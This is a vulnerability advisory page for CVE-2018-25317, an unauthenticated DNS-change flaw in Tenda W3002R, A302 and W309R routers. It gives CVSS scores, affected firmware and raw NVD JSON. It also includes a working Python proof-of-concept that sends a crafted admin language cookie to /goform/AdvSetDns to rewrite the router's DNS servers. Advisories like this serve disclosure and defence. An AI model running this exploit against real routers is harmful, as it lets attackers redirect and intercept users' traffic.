Security Vulnerability Report
中文
CVE-2018-25317 CVSS 9.8 CRITICAL

CVE-2018-25317

Published: 2026-04-29 20:16:28
Last Modified: 2026-05-05 02:46:59

Description

Tenda W3002R/A302/W309R wireless routers version V5.07.64_en contain a cookie session weakness vulnerability that allows unauthenticated attackers to modify DNS settings by exploiting insufficient session validation. Attackers can send GET requests to the /goform/AdvSetDns endpoint with a crafted admin language cookie to change primary and secondary DNS servers, redirecting user traffic to malicious DNS servers.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:tenda:w3002r_firmware:5.07.64_en:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:tenda:w3002r:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:tenda:a302_firmware:5.07.64_en:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:tenda:a302:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:tenda:w309r_firmware:5.07.64_en:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:tenda:w309r:-:*:*:*:*:*:*:* - NOT VULNERABLE
Tenda W3002R V5.07.64_en
Tenda A302 V5.07.64_en
Tenda W309R V5.07.64_en

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_ip = "192.168.0.1" url = f"http://{target_ip}/goform/AdvSetDns" # Malicious DNS servers to redirect traffic to malicious_dns_primary = "1.1.1.1" malicious_dns_secondary = "1.0.0.1" # Crafted Cookie to exploit session weakness # The vulnerability relies on specific language cookie validation bypass cookies = { "admin": "language=en", "Cookie": "admin=language=en" } # Payload parameters for the DNS settings params = { "GO": "system.asp", "dns1": malicious_dns_primary, "dns2": malicious_dns_secondary } try: print(f"Sending exploit request to {url}...") response = requests.get(url, params=params, cookies=cookies, timeout=5) if response.status_code == 200: print("[+] Request sent successfully. DNS settings may have been changed.") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2018-25317", "sourceIdentifier": "[email protected]", "published": "2026-04-29T20:16:27.663", "lastModified": "2026-05-05T02:46:59.470", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tenda W3002R/A302/W309R wireless routers version V5.07.64_en contain a cookie session weakness vulnerability that allows unauthenticated attackers to modify DNS settings by exploiting insufficient session validation. Attackers can send GET requests to the /goform/AdvSetDns endpoint with a crafted admin language cookie to change primary and secondary DNS servers, redirecting user traffic to malicious DNS servers."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-290"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tenda:w3002r_firmware:5.07.64_en:*:*:*:*:*:*:*", "matchCriteriaId": "704A2FD7-B218-4726-9149-261594E294CB"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tenda:w3002r:-:*:*:*:*:*:*:*", "matchCriteriaId": "F6A18DA3-BA11-4B88-A212-723D68154798"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tenda:a302_firmware:5.07.64_en:*:*:*:*:*:*:*", "matchCriteriaId": "738E240B-C950-4C8B-891D-74B7F68DFD4E"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tenda:a302:-:*:*:*:*:*:*:*", "matchCriteriaId": "E6D739CF-EA96-4486-AE9E-8ADDBC389212"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tenda:w309r_firmware:5.07.64_en:*:*:*:*:*:*:*", "matchCriteriaId": "BA403A22-FF94-4BF6-B4A6-3548CC1AF6F2"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tenda:w309r:-:*:*:*:*:*:*:*", "matchCriteriaId": "9D67E009-F6D4-4CDA-95C5-DB4A64BD7491"}]}]}], "references": [{"url": "https://www.exploit-db.com/exploits/44380", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory", "VDB Entry"]}, {"url": "https://www.vulncheck.com/advisories/tenda-w3002r-a302-w309r-64-en-cookie-session-weakness-dns-change", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}